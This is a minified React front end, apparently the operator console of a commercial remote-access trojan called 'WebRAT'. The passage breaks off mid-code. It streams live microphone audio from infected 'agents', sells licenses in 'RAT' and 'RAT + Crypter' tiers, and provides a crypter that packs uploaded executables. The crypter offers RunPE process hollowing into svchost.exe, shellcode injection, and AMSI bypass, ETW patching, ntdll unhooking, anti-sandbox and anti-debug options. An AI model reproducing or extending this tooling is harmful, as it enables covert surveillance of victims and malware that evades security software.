v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const k=j.getUint16(0,!0),S=j.getUint8(2),N=j.getUint8(3),z=12,_=w.data.byteLength-z;if(f(M=>({chunkCount:M.chunkCount+1,sampleRate:k})),u.current)return;const A=r.current;if(!A||A.state==="closed")return;A.state==="suspended"&&A.resume();const O=_/(S/8)/N,P=A.createBuffer(N,O,k),I=new DataView(w.data,z);for(let M=0;M{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=p.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=p.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return p.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:a,isMuted:l,stats:d,connect:m,disconnect:h,toggleMute:x}}function dV(){const{id:e}=qo(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:a,toggleMute:o}=uV({agentId:e||""});p.useEffect(()=>{e&&i()},[e,i]);const l=p.useCallback(async()=>{if(a(),e)try{await KE(e)}catch{}window.close()},[e,a]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),s.jsx("div",{className:"flex-1"}),s.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:s.jsxs("div",{className:"flex flex-col items-center gap-8",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:s.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&s.jsx(s.Fragment,{children:s.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&s.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const fV=4294967295;function pV(e){return e>=fV-86400}function kp(e){return pV(e)?"Never":new Date(e*1e3).toLocaleString()}function T2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function mV({role:e}){const t=e==="admin";return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function hV(){const[e,t]=p.useState("keys"),[n,r]=p.useState([]),[i,a]=p.useState([]),[o,l]=p.useState(!0),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState("7d"),[x,g]=p.useState("0"),[y,v]=p.useState("rat"),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,_]=p.useState(null),[A,O]=p.useState(null),[P,I]=p.useState("30d"),[U,D]=p.useState(!1),[M,F]=p.useState(null),[R,W]=p.useState("rat"),[$,H]=p.useState(!1),X=p.useCallback(async()=>{try{const C=await XE();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),se=p.useCallback(async()=>{try{const C=await JE();a(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);p.useEffect(()=>{l(!0),Promise.all([X(),se()]).finally(()=>l(!1))},[X,se]);const ue=async C=>{C.preventDefault(),w(!0),u("");try{const K=await ZE({duration:m,max_agents:parseInt(x)||0,tier:y});k(K.key),N(!1),await X()}catch(K){u(K instanceof Error?K.message:"Failed to generate key")}finally{w(!1)}},ge=async C=>{u("");try{await QE(C),_(null),await X()}catch(K){u(K instanceof Error?K.message:"Failed to revoke key")}},xe=async()=>{if(A){D(!0),u("");try{await eA(A.id,P),O(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{D(!1)}}},Y=async()=>{if(M){H(!0),u("");try{await tA(M.id,R),F(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{H(!1)}}},ee=()=>{navigator.clipboard.writeText(j),N(!0),setTimeout(()=>N(!1),2e3)};return s.jsxs("div",{className:"p-6 space-y-6",children:[s.jsx("div",{className:"flex items-center justify-between",children:s.jsxs("div",{children:[s.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),s.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),s.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[s.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),s.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&s.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,s.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:()=>{f(!d),k("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),s.jsx("button",{onClick:X,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[s.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[s.jsxs("div",{className:"flex items-end gap-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),s.jsx("input",{type:"text",value:m,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),s.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),s.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${m===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),s.jsx("button",{onClick:ee,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:S?"Copied!":"Copy"})]}),s.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(T2,{status:C.status})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:kp(C.created_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:kp(C.expires_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),s.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?z===C.key_id?s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{onClick:()=>ge(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),s.jsx("button",{onClick:()=>_(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):s.jsx("button",{onClick:()=>_(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):s.jsxs("div",{className:"space-y-4",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsx("button",{onClick:se,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(mV,{role:C.role})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3",children:C.license_status?s.jsx(T2,{status:C.license_status}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?kp(C.license_expires_at):"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{onClick:()=>{O(C),I("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),s.jsx("button",{onClick:()=>{F(C),W(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),A&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>O(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",s.jsx("span",{className:"text-zerin-accent",children:A.username})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),s.jsx("input",{type:"text",value:P,onChange:C=>I(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{onClick:()=>I(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:xe,disabled:U,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:U?"Extending...":"Add Time"}),s.jsx("button",{onClick:()=>O(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),M&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>F(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",s.jsx("span",{className:"text-zerin-accent",children:M.username})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{onClick:()=>W("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${R==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{onClick:()=>W("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${R==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:Y,disabled:$,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:$?"Updating...":"Update Tier"}),s.jsx("button",{onClick:()=>F(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function xV(){const{isAdmin:e}=ls(),n=aj()==="rat_crypter"||e,[r,i]=p.useState(null),[a,o]=p.useState("runpe"),[l,c]=p.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=p.useState(0),[f,m]=p.useState(!0),[h,x]=p.useState(!0),[g,y]=p.useState(!0),[v,b]=p.useState(!0),[w,j]=p.useState(!0),[k,S]=p.useState(!1),[N,z]=p.useState(0),[_,A]=p.useState(""),[O,P]=p.useState(!1),I=p.useRef(null),U=p.useCallback(M=>{M.preventDefault(),P(!1);const F=M.dataTransfer.files[0];F&&i(F)},[]),D=p.useCallback(async()=>{if(!(!r||k)){S(!0),A(""),z(5);try{const M=new FormData;M.append("file",r),M.append("mode",a),M.append("target_process",l),M.append("sleep_seconds",u.toString()),M.append("anti_sandbox",f.toString()),M.append("anti_debug",h.toString()),M.append("unhook_ntdll",g.toString()),M.append("amsi_bypass",v.toString()),M.append("etw_patch",w.toString()),z(20);const F=setInterval(()=>{z(H=>Math.min(H+5,85))},2e3),R=await GE(M);clearInterval(F),z(100);const W=URL.createObjectURL(R),$=document.createElement("a");$.href=W,$.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild($),$.click(),document.body.removeChild($),URL.revokeObjectURL(W),setTimeout(()=>z(0),2e3)}catch(M){A(M.message||"Build failed"),z(0)}finally{S(!1)}}},[r,k,a,l,u,f,h,g,v,w]);return n?s.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[s.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),s.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer + ${O?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} + ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:M=>{M.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:U,onClick:()=>{var M;return(M=I.current)==null?void 0:M.click()},children:[s.jsx("input",{ref:I,type:"file",accept:".exe",className:"hidden",onChange:M=>{var R;const F=(R=M.target.files)==null?void 0:R[0];F&&i(F)}}),r?s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),s.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),s.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),s.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${a==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),s.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${a==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),a==="runpe"&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),s.jsx("input",{type:"text",value:l,onChange:M=>c(M.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),s.jsx("input",{type:"number",min:0,max:300,value:u,onChange:M=>d(Math.max(0,parseInt(M.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),s.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),s.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox 